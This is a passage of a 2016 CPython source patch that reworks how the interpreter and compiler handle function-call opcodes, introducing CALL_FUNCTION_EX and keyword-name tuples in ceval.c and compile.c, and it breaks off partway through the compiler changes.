-  Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='1 positional, 0 keyword pair', offset=184, starts_line=None, is_jump_target=False),
+  Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='', offset=184, starts_line=None, is_jump_target=False),
   Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=186, starts_line=None, is_jump_target=False),
   Instruction(opname='END_FINALLY', opcode=88, arg=None, argval=None, argrepr='', offset=188, starts_line=None, is_jump_target=False),
   Instruction(opname='LOAD_CONST', opcode=100, arg=0, argval=None, argrepr='None', offset=190, starts_line=None, is_jump_target=False),
diff -r 98a57845c8cc Lib/test/test_traceback.py
--- a/Lib/test/test_traceback.py	Fri Sep 09 07:38:50 2016 +0000
+++ b/Lib/test/test_traceback.py	Fri Sep 09 22:43:11 2016 +0300
@@ -352,7 +352,7 @@ class TracebackFormatTests(unittest.Test
 
         # Check the recursion count is roughly as expected
         rec_limit = sys.getrecursionlimit()
-        self.assertIn(int(re.search(r"\d+", actual[-2]).group()), range(rec_limit-50, rec_limit))
+        self.assertIn(int(re.search(r"\d+", actual[-2]).group()), range(rec_limit-60, rec_limit))
 
         # Check a known (limited) number of recursive invocations
         def g(count=10):
diff -r 98a57845c8cc PC/launcher.c
--- a/PC/launcher.c	Fri Sep 09 07:38:50 2016 +0000
+++ b/PC/launcher.c	Fri Sep 09 22:43:11 2016 +0300
@@ -1089,7 +1089,7 @@ static PYC_MAGIC magic_values[] = {
     { 3190, 3230, L"3.3" },
     { 3250, 3310, L"3.4" },
     { 3320, 3351, L"3.5" },
-    { 3360, 3375, L"3.6" },
+    { 3360, 3379, L"3.6" },
     { 0 }
 };
 
diff -r 98a57845c8cc Python/ceval.c
--- a/Python/ceval.c	Fri Sep 09 07:38:50 2016 +0000
+++ b/Python/ceval.c	Fri Sep 09 22:43:11 2016 +0300
@@ -109,19 +109,15 @@ typedef PyObject *(*callproc)(PyObject *
 
 /* Forward declarations */
 #ifdef WITH_TSC
-static PyObject * call_function(PyObject ***, int, uint64*, uint64*);
+static PyObject * call_function(PyObject ***, Py_ssize_t, PyObject *, uint64*, uint64*);
 #else
-static PyObject * call_function(PyObject ***, int);
+static PyObject * call_function(PyObject ***, Py_ssize_t, PyObject *);
 #endif
-static PyObject * fast_function(PyObject *, PyObject **, Py_ssize_t, Py_ssize_t);
-static PyObject * do_call(PyObject *, PyObject ***, Py_ssize_t, Py_ssize_t);
-static PyObject * ext_do_call(PyObject *, PyObject ***, int, Py_ssize_t, Py_ssize_t);
-static PyObject * update_keyword_args(PyObject *, Py_ssize_t, PyObject ***,
-                                      PyObject *);
-static PyObject * update_star_args(Py_ssize_t, Py_ssize_t, PyObject *, PyObject ***);
+static PyObject * fast_function(PyObject *, PyObject ***, Py_ssize_t, PyObject *);
+static PyObject * do_call(PyObject *, PyObject ***, Py_ssize_t, PyObject *);
+static PyObject * do_call_core(PyObject *, PyObject *, PyObject *);
+static PyObject * create_keyword_args(PyObject *, PyObject ***, PyObject *);
 static PyObject * load_args(PyObject ***, Py_ssize_t);
-#define CALL_FLAG_VAR 1
-#define CALL_FLAG_KW 2
 
 #ifdef LLTRACE
 static int lltrace;
@@ -2661,6 +2657,7 @@ PyObject *
             Py_ssize_t i;
             PyObject *sum = PyList_New(0);
             PyObject *return_value;
+
             if (sum == NULL)
                 goto error;
 
@@ -2847,29 +2844,19 @@ PyObject *
         TARGET(BUILD_MAP_UNPACK_WITH_CALL)
         TARGET(BUILD_MAP_UNPACK) {
             int with_call = opcode == BUILD_MAP_UNPACK_WITH_CALL;
-            int num_maps;
-            int function_location;
             Py_ssize_t i;
             PyObject *sum = PyDict_New();
             if (sum == NULL)
                 goto error;
-            if (with_call) {
-                num_maps = oparg & 0xff;
-                function_location = (oparg>>8) & 0xff;
-            }
-            else {
-                num_maps = oparg;
-            }
-
-            for (i = num_maps; i > 0; i--) {
+
+            for (i = oparg; i > 0; i--) {
                 PyObject *arg = PEEK(i);
-                if (with_call) {
+                if (with_call && PyDict_Size(sum)) {
                     PyObject *intersection = _PyDictView_Intersect(sum, arg);
 
                     if (intersection == NULL) {
                         if (PyErr_ExceptionMatches(PyExc_AttributeError)) {
-                            PyObject *func = (
-                                    PEEK(function_location + num_maps));
+                            PyObject *func = PEEK(2 + oparg);
                             PyErr_Format(PyExc_TypeError,
                                     "%.200s%.200s argument after ** "
                                     "must be a mapping, not %.200s",
@@ -2884,7 +2871,7 @@ PyObject *
                     if (PySet_GET_SIZE(intersection)) {
                         Py_ssize_t idx = 0;
                         PyObject *key;
-                        PyObject *func = PEEK(function_location + num_maps);
+                        PyObject *func = PEEK(2 + oparg);
                         Py_hash_t hash;
                         _PySet_NextEntry(intersection, &idx, &key, &hash);
                         if (!PyUnicode_Check(key)) {
@@ -2918,7 +2905,7 @@ PyObject *
                 }
             }
 
-            while (num_maps--)
+            while (oparg--)
                 Py_DECREF(POP());
             PUSH(sum);
             DISPATCH();
@@ -3409,63 +3396,104 @@ PyObject *
             PCALL(PCALL_ALL);
             sp = stack_pointer;
 #ifdef WITH_TSC
-            res = call_function(&sp, oparg, &intr0, &intr1);
+            res = call_function(&sp, oparg, NULL, &intr0, &intr1);
 #else
-            res = call_function(&sp, oparg);
+            res = call_function(&sp, oparg, NULL);
 #endif
             stack_pointer = sp;
             PUSH(res);
-            if (res == NULL)
+            if (res == NULL) {
                 goto error;
+            }
             DISPATCH();
         }
 
-        TARGET(CALL_FUNCTION_VAR)
-        TARGET(CALL_FUNCTION_KW)
-        TARGET(CALL_FUNCTION_VAR_KW) {
-            Py_ssize_t nargs = oparg & 0xff;
-            Py_ssize_t nkwargs = (oparg>>8) & 0xff;
-            int flags = (opcode - CALL_FUNCTION) & 3;
-            Py_ssize_t n;
-            PyObject **pfunc, *func, **sp, *res;
+        TARGET(CALL_FUNCTION_KW) {
+            PyObject **sp, *res, *names;
+
+            names = POP();
+            assert(PyTuple_CheckExact(names) && PyTuple_GET_SIZE(names) <= oparg);
             PCALL(PCALL_ALL);
-
-            n = nargs + 2 * nkwargs;
-            if (flags & CALL_FLAG_VAR) {
-                n++;
+            sp = stack_pointer;
+#ifdef WITH_TSC
+            res = call_function(&sp, oparg, names, &intr0, &intr1);
+#else
+            res = call_function(&sp, oparg, names);
+#endif
+            stack_pointer = sp;
+            PUSH(res);
+            Py_DECREF(names);
+
+            if (res == NULL) {
+                goto error;
             }
-            if (flags & CALL_FLAG_KW) {
-                n++;
+            DISPATCH();
+        }
+
+        TARGET(CALL_FUNCTION_EX) {
+            PyObject *func, *callargs, *kwargs = NULL, *result;
+            PCALL(PCALL_ALL);
+            if (oparg & 0x01) {
+                kwargs = POP();
+                if (!PyDict_CheckExact(kwargs)) {
+                    PyObject *d = PyDict_New();
+                    if (d == NULL)
+                        goto error;
+                    if (PyDict_Update(d, kwargs) != 0) {
+                        Py_DECREF(d);
+                        /* PyDict_Update raises attribute
+                         * error (percolated from an attempt
+                         * to get 'keys' attribute) instead of
+                         * a type error if its second argument
+                         * is not a mapping.
+                         */
+                        if (PyErr_ExceptionMatches(PyExc_AttributeError)) {
+                            func = SECOND();
+                            PyErr_Format(PyExc_TypeError,
+                                         "%.200s%.200s argument after ** "
+                                         "must be a mapping, not %.200s",
+                                         PyEval_GetFuncName(func),
+                                         PyEval_GetFuncDesc(func),
+                                         kwargs->ob_type->tp_name);
+                        }
+                        goto error;
+                    }
+                    Py_DECREF(kwargs);
+                    kwargs = d;
+                }
+                assert(PyDict_CheckExact(kwargs));
             }
-            pfunc = stack_pointer - n - 1;
-            func = *pfunc;
-
-            if (PyMethod_Check(func)
-                && PyMethod_GET_SELF(func) != NULL) {
-                PyObject *self = PyMethod_GET_SELF(func);
-                Py_INCREF(self);
-                func = PyMethod_GET_FUNCTION(func);
-                Py_INCREF(func);
-                Py_SETREF(*pfunc, self);
-                nargs++;
+            callargs = POP();
+            func = TOP();
+            if (!PyTuple_Check(callargs)) {
+                if (Py_TYPE(callargs)->tp_iter == NULL &&
+                        !PySequence_Check(callargs)) {
+                    PyErr_Format(PyExc_TypeError,
+                                 "%.200s%.200s argument after * "
+                                 "must be an iterable, not %.200s",
+                                 PyEval_GetFuncName(func),
+                                 PyEval_GetFuncDesc(func),
+                                 callargs->ob_type->tp_name);
+                    goto error;
+                }
+                Py_SETREF(callargs, PySequence_Tuple(callargs));
+                if (callargs == NULL) {
+                    goto error;
+                }
             }
-            else {
-                Py_INCREF(func);
+            assert(PyTuple_Check(callargs));
+
+            READ_TIMESTAMP(intr0);
+            result = do_call_core(func, callargs, kwargs);
+            READ_TIMESTAMP(intr1);
+            Py_DECREF(func);
+            Py_DECREF(callargs);
+            Py_XDECREF(kwargs);
+
+            SET_TOP(result);
+            if (result == NULL) {
+                goto error;
             }
-            sp = stack_pointer;
-            READ_TIMESTAMP(intr0);
-            res = ext_do_call(func, &sp, flags, nargs, nkwargs);
-            READ_TIMESTAMP(intr1);
-            stack_pointer = sp;
-            Py_DECREF(func);
-
-            while (stack_pointer > pfunc) {
-                PyObject *o = POP();
-                Py_DECREF(o);
-            }
-            PUSH(res);
-            if (res == NULL)
-                goto error;
             DISPATCH();
         }
 
@@ -3950,7 +3978,6 @@ too_many_positional(PyCodeObject *co, Py
     Py_DECREF(kwonly_sig);
 }
 
-
 /* This is gonna seem *real weird*, but if you put some other code between
    PyEval_EvalFrame() and PyEval_EvalCodeEx() you will need to adjust
    the test in the if statements in Misc/gdbinit (pystack and pystackv). */
@@ -3958,7 +3985,8 @@ too_many_positional(PyCodeObject *co, Py
 static PyObject *
 _PyEval_EvalCodeWithName(PyObject *_co, PyObject *globals, PyObject *locals,
            PyObject **args, Py_ssize_t argcount,
-           PyObject **kws, Py_ssize_t kwcount,
+           PyObject **kwnames, PyObject **kwargs,
+           Py_ssize_t kwcount, int kwstep,
            PyObject **defs, Py_ssize_t defcount,
            PyObject *kwdefs, PyObject *closure,
            PyObject *name, PyObject *qualname)
@@ -3973,8 +4001,6 @@ static PyObject *
     Py_ssize_t i, n;
     PyObject *kwdict;
 
-    assert((kwcount == 0) || (kws != NULL));
-
     if (globals == NULL) {
         PyErr_SetString(PyExc_SystemError,
                         "PyEval_EvalCodeEx: NULL globals");
@@ -4033,11 +4059,12 @@ static PyObject *
         }
     }
 
-    /* Handle keyword arguments (passed as an array of (key, value)) */
-    for (i = 0; i < kwcount; i++) {
+    /* Handle keyword arguments passed as two strided arrays */
+    kwcount *= kwstep;
+    for (i = 0; i < kwcount; i += kwstep) {
         PyObject **co_varnames;
-        PyObject *keyword = kws[2*i];
-        PyObject *value = kws[2*i + 1];
+        PyObject *keyword = kwnames[i];
+        PyObject *value = kwargs[i];
         Py_ssize_t j;
 
         if (keyword == NULL || !PyUnicode_Check(keyword)) {
@@ -4243,7 +4270,7 @@ PyEval_EvalCodeEx(PyObject *_co, PyObjec
 {
     return _PyEval_EvalCodeWithName(_co, globals, locals,
                                     args, argcount,
-                                    kws, kwcount,
+                                    kws, kws + 1, kwcount, 2,
                                     defs, defcount,
                                     kwdefs, closure,
                                     NULL, NULL);
@@ -4886,28 +4913,27 @@ if (tstate->use_tracing && tstate->c_pro
     }
 
 static PyObject *
-call_function(PyObject ***pp_stack, int oparg
+call_function(PyObject ***pp_stack, Py_ssize_t oparg, PyObject *names
 #ifdef WITH_TSC
                 , uint64* pintr0, uint64* pintr1
 #endif
                 )
 {
-    Py_ssize_t nargs = oparg & 0xff;
-    Py_ssize_t nkwargs = (oparg>>8) & 0xff;
-    int n = nargs + 2 * nkwargs;
-    PyObject **pfunc = (*pp_stack) - n - 1;
+    PyObject **pfunc = (*pp_stack) - oparg - 1;
     PyObject *func = *pfunc;
     PyObject *x, *w;
+    Py_ssize_t nk = names == NULL ? 0 : PyTuple_GET_SIZE(names);
+    Py_ssize_t nargs = oparg - nk;
 
     /* Always dispatch PyCFunction first, because these are
        presumed to be the most frequent callable object.
     */
-    if (PyCFunction_Check(func) && nkwargs == 0) {
+    if (PyCFunction_Check(func)) {
         int flags = PyCFunction_GET_FLAGS(func);
         PyThreadState *tstate = PyThreadState_GET();
 
         PCALL(PCALL_CFUNCTION);
-        if (flags & (METH_NOARGS | METH_O)) {
+        if (names == NULL && flags & (METH_NOARGS | METH_O)) {
             PyCFunction meth = PyCFunction_GET_FUNCTION(func);
             PyObject *self = PyCFunction_GET_SELF(func);
             if (flags & METH_NOARGS && nargs == 0) {
@@ -4928,48 +4954,57 @@ call_function(PyObject ***pp_stack, int 
             }
         }
         else {
-            PyObject *callargs;
+            PyObject *callargs, *kwdict = NULL;
+            if (names != NULL) {
+                kwdict = create_keyword_args(names, pp_stack, func);
+                if (kwdict == NULL) {
+                    x = NULL;
+                    goto cfuncerror;
+                }
+            }
             callargs = load_args(pp_stack, nargs);
             if (callargs != NULL) {
                 READ_TIMESTAMP(*pintr0);
-                C_TRACE(x, PyCFunction_Call(func,callargs,NULL));
+                C_TRACE(x, PyCFunction_Call(func, callargs, kwdict));
                 READ_TIMESTAMP(*pintr1);
-                Py_XDECREF(callargs);
+                Py_DECREF(callargs);
             }
             else {
                 x = NULL;
             }
+            Py_XDECREF(kwdict);
         }
     }
     else {
-        if (PyMethod_Check(func) && PyMethod_GET_SELF(func) != NULL) {
-            /* optimize access to bound methods */
-            PyObject *self = PyMethod_GET_SELF(func);
-            PCALL(PCALL_METHOD);
-            PCALL(PCALL_BOUND_METHOD);
-            Py_INCREF(self);
-            func = PyMethod_GET_FUNCTION(func);
-            Py_INCREF(func);
-            Py_SETREF(*pfunc, self);
-            nargs++;
-            n++;
-        }
-        else {
-            Py_INCREF(func);
-        }
-        READ_TIMESTAMP(*pintr0);
-        if (PyFunction_Check(func)) {
-            x = fast_function(func, (*pp_stack) - n, nargs, nkwargs);
-        }
-        else {
-            x = do_call(func, pp_stack, nargs, nkwargs);
-        }
-        READ_TIMESTAMP(*pintr1);
-        Py_DECREF(func);
-
-        assert((x != NULL) ^ (PyErr_Occurred() != NULL));
+      if (PyMethod_Check(func) && PyMethod_GET_SELF(func) != NULL) {
+          /* optimize access to bound methods */
+          PyObject *self = PyMethod_GET_SELF(func);
+          PCALL(PCALL_METHOD);
+          PCALL(PCALL_BOUND_METHOD);
+          Py_INCREF(self);
+          func = PyMethod_GET_FUNCTION(func);
+          Py_INCREF(func);
+          Py_SETREF(*pfunc, self);
+          nargs++;
+      }
+      else {
+          Py_INCREF(func);
+      }
+
+      READ_TIMESTAMP(*pintr0);
+      if (PyFunction_Check(func)) {
+          x = fast_function(func, pp_stack, nargs, names);
+      } else {
+          x = do_call(func, pp_stack, nargs, names);
+      }
+      READ_TIMESTAMP(*pintr1);
+
+      Py_DECREF(func);
     }
 
+cfuncerror:
+    assert((x != NULL) ^ (PyErr_Occurred() != NULL));
+
     /* Clear the stack of the function object.  Also removes
        the arguments in case they weren't consumed already
        (fast_function() and err_args() leave them on the stack).
@@ -4980,7 +5015,6 @@ call_function(PyObject ***pp_stack, int 
         PCALL(PCALL_POP);
     }
 
-    assert((x != NULL) ^ (PyErr_Occurred() != NULL));
     return x;
 }
 
@@ -5033,19 +5067,16 @@ static PyObject*
 /* Similar to _PyFunction_FastCall() but keywords are passed a (key, value)
    pairs in stack */
 static PyObject *
-fast_function(PyObject *func, PyObject **stack, Py_ssize_t nargs, Py_ssize_t nkwargs)
+fast_function(PyObject *func, PyObject ***pp_stack, Py_ssize_t nargs, PyObject *names)
 {
     PyCodeObject *co = (PyCodeObject *)PyFunction_GET_CODE(func);
     PyObject *globals = PyFunction_GET_GLOBALS(func);
     PyObject *argdefs = PyFunction_GET_DEFAULTS(func);
     PyObject *kwdefs, *closure, *name, *qualname;
     PyObject **d;
-    int nd;
-
-    assert(func != NULL);
-    assert(nargs >= 0);
-    assert(nkwargs >= 0);
-    assert((nargs == 0 && nkwargs == 0) || stack != NULL);
+    Py_ssize_t nkwargs = names == NULL ? 0 : PyTuple_GET_SIZE(names);
+    Py_ssize_t nd;
+    PyObject **stack = (*pp_stack)-nargs-nkwargs;
 
     PCALL(PCALL_FUNCTION);
     PCALL(PCALL_FAST_FUNCTION);
@@ -5081,8 +5112,10 @@ fast_function(PyObject *func, PyObject *
     }
     return _PyEval_EvalCodeWithName((PyObject*)co, globals, (PyObject *)NULL,
                                     stack, nargs,
-                                    stack + nargs, nkwargs,
-                                    d, nd, kwdefs,
+                                    nkwargs ? &PyTuple_GET_ITEM(names, 0) : NULL,
+                                    stack + nargs,
+                                    nkwargs, 1,
+                                    d, (int)nd, kwdefs,
                                     closure, name, qualname);
 }
 
@@ -5165,7 +5198,7 @@ PyObject *
 
     result = _PyEval_EvalCodeWithName((PyObject*)co, globals, (PyObject *)NULL,
                                       args, nargs,
-                                      k, nk,
+                                      k, k + 1, nk, 2,
                                       d, nd, kwdefs,
                                       closure, name, qualname);
     Py_XDECREF(kwtuple);
@@ -5173,22 +5206,17 @@ PyObject *
 }
 
 static PyObject *
-update_keyword_args(PyObject *orig_kwdict, Py_ssize_t nk, PyObject ***pp_stack,
+create_keyword_args(PyObject *names, PyObject ***pp_stack,
                     PyObject *func)
 {
-    PyObject *kwdict = NULL;
-    if (orig_kwdict == NULL)
-        kwdict = PyDict_New();
-    else {
-        kwdict = PyDict_Copy(orig_kwdict);
-        Py_DECREF(orig_kwdict);
-    }
+    Py_ssize_t nk = PyTuple_GET_SIZE(names);
+    PyObject *kwdict = _PyDict_NewPresized(nk);
     if (kwdict == NULL)
         return NULL;
     while (--nk >= 0) {
         int err;
         PyObject *value = EXT_POP(*pp_stack);
-        PyObject *key = EXT_POP(*pp_stack);
+        PyObject *key = PyTuple_GET_ITEM(names, nk);
         if (PyDict_GetItem(kwdict, key) != NULL) {
             PyErr_Format(PyExc_TypeError,
                          "%.200s%s got multiple values "
@@ -5196,13 +5224,11 @@ update_keyword_args(PyObject *orig_kwdic
                          PyEval_GetFuncName(func),
                          PyEval_GetFuncDesc(func),
                          key);
-            Py_DECREF(key);
             Py_DECREF(value);
             Py_DECREF(kwdict);
             return NULL;
         }
         err = PyDict_SetItem(kwdict, key, value);
-        Py_DECREF(key);
         Py_DECREF(value);
         if (err) {
             Py_DECREF(kwdict);
@@ -5213,77 +5239,51 @@ update_keyword_args(PyObject *orig_kwdic
 }
 
 static PyObject *
-update_star_args(Py_ssize_t nstack, Py_ssize_t nstar, PyObject *stararg,
-                 PyObject ***pp_stack)
+load_args(PyObject ***pp_stack, Py_ssize_t nargs)
 {
-    PyObject *callargs, *w;
-
-    if (!nstack) {
-        if (!stararg) {
-            /* There are no positional arguments on the stack and there is no
-               sequence to be unpacked. */
-            return PyTuple_New(0);
-        }
-        if (PyTuple_CheckExact(stararg)) {
-            /* No arguments are passed on the stack and the sequence is not a
-               tuple subclass so we can just pass the stararg tuple directly
-               to the function. */
-            Py_INCREF(stararg);
-            return stararg;
-        }
-    }
-
-    callargs = PyTuple_New(nstack + nstar);
-    if (callargs == NULL) {
+    PyObject *args = PyTuple_New(nargs);
+
+    if (args == NULL) {
         return NULL;
     }
 
-    if (nstar) {
-        Py_ssize_t i;
-        for (i = 0; i < nstar; i++) {
-            PyObject *arg = PyTuple_GET_ITEM(stararg, i);
-            Py_INCREF(arg);
-            PyTuple_SET_ITEM(callargs, nstack + i, arg);
-        }
-    }
-
-    while (--nstack >= 0) {
-        w = EXT_POP(*pp_stack);
-        PyTuple_SET_ITEM(callargs, nstack, w);
-    }
-    return callargs;
-}
-
-static PyObject *
-load_args(PyObject ***pp_stack, Py_ssize_t na)
-{
-    PyObject *args = PyTuple_New(na);
-    PyObject *w;
-
-    if (args == NULL)
-        return NULL;
-    while (--na >= 0) {
-        w = EXT_POP(*pp_stack);
-        PyTuple_SET_ITEM(args, na, w);
+    while (--nargs >= 0) {
+        PyObject *arg= EXT_POP(*pp_stack);
+        PyTuple_SET_ITEM(args, nargs, arg);
     }
     return args;
 }
 
 static PyObject *
-do_call(PyObject *func, PyObject ***pp_stack, Py_ssize_t nargs, Py_ssize_t nkwargs)
+do_call(PyObject *func, PyObject ***pp_stack, Py_ssize_t nargs, PyObject *kwnames)
 {
-    PyObject *callargs = NULL;
-    PyObject *kwdict = NULL;
-    PyObject *result = NULL;
-
-    if (nkwargs > 0) {
-        kwdict = update_keyword_args(NULL, nkwargs, pp_stack, func);
-        if (kwdict == NULL)
-            goto call_fail;
+    PyObject *callargs, *kwdict, *result;
+
+    if (kwnames != NULL) {
+        kwdict = create_keyword_args(kwnames, pp_stack, func);
+        if (kwdict == NULL) {
+            return NULL;
+        }
     }
+    else {
+        kwdict = NULL;
+    }
+
     callargs = load_args(pp_stack, nargs);
-    if (callargs == NULL)
-        goto call_fail;
+    if (callargs == NULL) {
+        Py_XDECREF(kwdict);
+        return NULL;
+    }
+
+    result = do_call_core(func, callargs, kwdict);
+    Py_XDECREF(callargs);
+    Py_XDECREF(kwdict);
+    return result;
+}
+
+static PyObject *
+do_call_core(PyObject *func, PyObject *callargs, PyObject *kwdict)
+{
 #ifdef CALL_PROFILE
     /* At this point, we have to look at the type of func to
        update the call stats properly.  Do it here so as to avoid
@@ -5300,125 +5300,16 @@ do_call(PyObject *func, PyObject ***pp_s
     else
         PCALL(PCALL_OTHER);
 #endif
+
     if (PyCFunction_Check(func)) {
+        PyObject *result;
         PyThreadState *tstate = PyThreadState_GET();
         C_TRACE(result, PyCFunction_Call(func, callargs, kwdict));
-    }
-    else
-        result = PyObject_Call(func, callargs, kwdict);
-call_fail:
-    Py_XDECREF(callargs);
-    Py_XDECREF(kwdict);
-    return result;
-}
-
-static PyObject *
-ext_do_call(PyObject *func, PyObject ***pp_stack, int flags,
-            Py_ssize_t nargs, Py_ssize_t nkwargs)
-{
-    Py_ssize_t nstar;
-    PyObject *callargs = NULL;
-    PyObject *stararg = NULL;
-    PyObject *kwdict = NULL;
-    PyObject *result = NULL;
-
-    if (flags & CALL_FLAG_KW) {
-        kwdict = EXT_POP(*pp_stack);
-        if (!PyDict_CheckExact(kwdict)) {
-            PyObject *d;
-            d = PyDict_New();
-            if (d == NULL)
-                goto ext_call_fail;
-            if (PyDict_Update(d, kwdict) != 0) {
-                Py_DECREF(d);
-                /* PyDict_Update raises attribute
-                 * error (percolated from an attempt
-                 * to get 'keys' attribute) instead of
-                 * a type error if its second argument
-                 * is not a mapping.
-                 */
-                if (PyErr_ExceptionMatches(PyExc_AttributeError)) {
-                    PyErr_Format(PyExc_TypeError,
-                                 "%.200s%.200s argument after ** "
-                                 "must be a mapping, not %.200s",
-                                 PyEval_GetFuncName(func),
-                                 PyEval_GetFuncDesc(func),
-                                 kwdict->ob_type->tp_name);
-                }
-                goto ext_call_fail;
-            }
-            Py_DECREF(kwdict);
-            kwdict = d;
-        }
-    }
-
-    if (nkwargs > 0) {
-        kwdict = update_keyword_args(kwdict, nkwargs, pp_stack, func);
-        if (kwdict == NULL)
-            goto ext_call_fail;
-    }
-
-    if (flags & CALL_FLAG_VAR) {
-        stararg = EXT_POP(*pp_stack);
-        if (!PyTuple_Check(stararg)) {
-            PyObject *t = NULL;
-            if (Py_TYPE(stararg)->tp_iter == NULL &&
-                    !PySequence_Check(stararg)) {
-                PyErr_Format(PyExc_TypeError,
-                             "%.200s%.200s argument after * "
-                             "must be an iterable, not %.200s",
-                             PyEval_GetFuncName(func),
-                             PyEval_GetFuncDesc(func),
-                             stararg->ob_type->tp_name);
-                goto ext_call_fail;
-            }
-            t = PySequence_Tuple(stararg);
-            if (t == NULL) {
-                goto ext_call_fail;
-            }
-            Py_DECREF(stararg);
-            stararg = t;
-        }
-        nstar = PyTuple_GET_SIZE(stararg);
+        return result;
     }
     else {
-        nstar = 0;
+        return PyObject_Call(func, callargs, kwdict);
     }
-
-    callargs = update_star_args(nargs, nstar, stararg, pp_stack);
-    if (callargs == NULL) {
-        goto ext_call_fail;
-    }
-
-#ifdef CALL_PROFILE
-    /* At this point, we have to look at the type of func to
-       update the call stats properly.  Do it here so as to avoid
-       exposing the call stats machinery outside ceval.c
-    */
-    if (PyFunction_Check(func))
-        PCALL(PCALL_FUNCTION);
-    else if (PyMethod_Check(func))
-        PCALL(PCALL_METHOD);
-    else if (PyType_Check(func))
-        PCALL(PCALL_TYPE);
-    else if (PyCFunction_Check(func))
-        PCALL(PCALL_CFUNCTION);
-    else
-        PCALL(PCALL_OTHER);
-#endif
-    if (PyCFunction_Check(func)) {
-        PyThreadState *tstate = PyThreadState_GET();
-        C_TRACE(result, PyCFunction_Call(func, callargs, kwdict));
-    }
-    else {
-        result = PyObject_Call(func, callargs, kwdict);
-    }
-
-ext_call_fail:
-    Py_XDECREF(callargs);
-    Py_XDECREF(kwdict);
-    Py_XDECREF(stararg);
-    return result;
 }
 
 /* Extract a slice index from a PyLong or an object with the
diff -r 98a57845c8cc Python/compile.c
--- a/Python/compile.c	Fri Sep 09 07:38:50 2016 +0000
+++ b/Python/compile.c	Fri Sep 09 22:43:11 2016 +0300
@@ -981,7 +981,7 @@ PyCompile_OpcodeStackEffect(int opcode, 
         case BUILD_MAP_UNPACK:
             return 1 - oparg;
         case BUILD_MAP_UNPACK_WITH_CALL:
-            return 1 - (oparg & 0xFF);
+            return 1 - oparg;
         case BUILD_MAP:
             return 1 - 2*oparg;
         case BUILD_CONST_KEY_MAP:
@@ -1028,15 +1028,12 @@ PyCompile_OpcodeStackEffect(int opcode, 
 
         case RAISE_VARARGS:
             return -oparg;
-#define NARGS(o) (((o) % 256) + 2*(((o) / 256) % 256))
         case CALL_FUNCTION:
-            return -NARGS(oparg);
-        case CALL_FUNCTION_VAR:
+            return -oparg;
         case CALL_FUNCTION_KW:
-            return -NARGS(oparg)-1;
-        case CALL_FUNCTION_VAR_KW:
-            return -NARGS(oparg)-2;
-#undef NARGS
+            return -oparg-1;
+        case CALL_FUNCTION_EX:
+            return - ((oparg & 0x01) != 0) - ((oparg & 0x02) != 0);
         case MAKE_FUNCTION:
             return -1 - ((oparg & 0x01) != 0) - ((oparg & 0x02) != 0) -
                 ((oparg & 0x04) != 0) - ((oparg & 0x08) != 0);
@@ -3490,22 +3487,29 @@ compiler_call_helper(struct compiler *c,
                      asdl_seq *args,
                      asdl_seq *keywords)
 {
-    int code = 0;
-    Py_ssize_t nelts, i, nseen;
-    int nkw;
+    Py_ssize_t i, nseen, nelts, nkwelts;
+    int mustdictunpack = 0;
 
     /* the number of tuples and dictionaries on the stack */
     Py_ssize_t nsubargs = 0, nsubkwargs = 0;
 
-    nkw = 0;
-    nseen = 0;  /* the number of positional arguments on the stack */
     nelts = asdl_seq_LEN(args);
+    nkwelts = asdl_seq_LEN(keywords);
+
+    for (i = 0; i < nkwelts; i++) {
+        keyword_ty kw = asdl_seq_GET(keywords, i);
+        if (kw->arg == NULL) {
+            mustdictunpack = 1;
+            break;
+        }
+    }
+
+    nseen = n;  /* the number of positional arguments on the stack */
     for (i = 0; i < nelts; i++) {
         expr_ty elt = asdl_seq_GET(args, i);
         if (elt->kind == Starred_kind) {
             /* A star-arg. If we've seen positional arguments,
-               pack the positional arguments into a
-               tuple. */
+               pack the positional arguments into a tuple. */
             if (nseen) {
                 ADDOP_I(c, BUILD_TUPLE, nseen);
                 nseen = 0;
@@ -3514,101 +3518,78 @@ compiler_call_helper(struct compiler *c,
             VISIT(c, expr, elt->v.Starred.value);
             nsubargs++;
         }
-        else if (nsubargs) {
-            /* We've seen star-args already, so we
-               count towards items-to-pack-into-tuple. */
+        else {
             VISIT(c, expr, elt);
             nseen++;
         }
-        else {
-            /* Positional arguments before star-arguments
-               are left on the stack. */
-            VISIT(c, expr, elt);
-            n++;
+    }
+
+    /* Same dance again for keyword arguments */
+    if (nsubargs || mustdictunpack) {
+        if (nseen) {
+            /* Pack up any trailing positional arguments. */
+            ADDOP_I(c, BUILD_TUPLE, nseen);
+            nsubargs++;
         }
-    }
-    if (nseen) {
-        /* Pack up any trailing positional arguments. */
-        ADDOP_I(c, BUILD_TUPLE, nseen);
-        nsubargs++;
-    }
-    if (nsubargs) {
-        code |= 1;
         if (nsubargs > 1) {
             /* If we ended up with more than one stararg, we need
                to concatenate them into a single sequence. */
-            ADDOP_I(c, BUILD_LIST_UNPACK, nsubargs);
+            ADDOP_I(c, BUILD_TUPLE_UNPACK, nsubargs);
         }
-    }
-
-    /* Same dance again for keyword arguments */
-    nseen = 0;  /* the number of keyword arguments on the stack following */
-    nelts = asdl_seq_LEN(keywords);
-    for (i = 0; i < nelts; i++) {
-        keyword_ty kw = asdl_seq_GET(keywords, i);
-        if (kw->arg == NULL) {
-            /* A keyword argument unpacking. */
-            if (nseen) {
-                if (nsubkwargs) {
+        else if (nsubargs == 0) {
+            ADDOP_I(c, BUILD_TUPLE, 0);
+        }
+        nseen = 0;  /* the number of keyword arguments on the stack following */
+        for (i = 0; i < nkwelts; i++) {
+            keyword_ty kw = asdl_seq_GET(keywords, i);
+            if (kw->arg == NULL) {
+                /* A keyword argument unpacking. */
+                if (nseen) {
                     if (!compiler_subkwargs(c, keywords, i - nseen, i))
                         return 0;
                     nsubkwargs++;
+                    nseen = 0;
                 }
-                else {
-                    Py_ssize_t j;
-                    for (j = 0; j < nseen; j++) {
-                        VISIT(c, keyword, asdl_seq_GET(keywords, j));
-                    }
-                    nkw = nseen;
-                }
-                nseen = 0;
+                VISIT(c, expr, kw->value);
+                nsubkwargs++;
             }
-            VISIT(c, expr, kw->value);
-            nsubkwargs++;
+            else {
+                nseen++;
+            }
         }
-        else {
-            nseen++;
-        }
-    }
-    if (nseen) {
-        if (nsubkwargs) {
+        if (nseen) {
             /* Pack up any trailing keyword arguments. */
-            if (!compiler_subkwargs(c, keywords, nelts - nseen, nelts))
+            if (!compiler_subkwargs(c, keywords, nkwelts - nseen, nkwelts))
                 return 0;
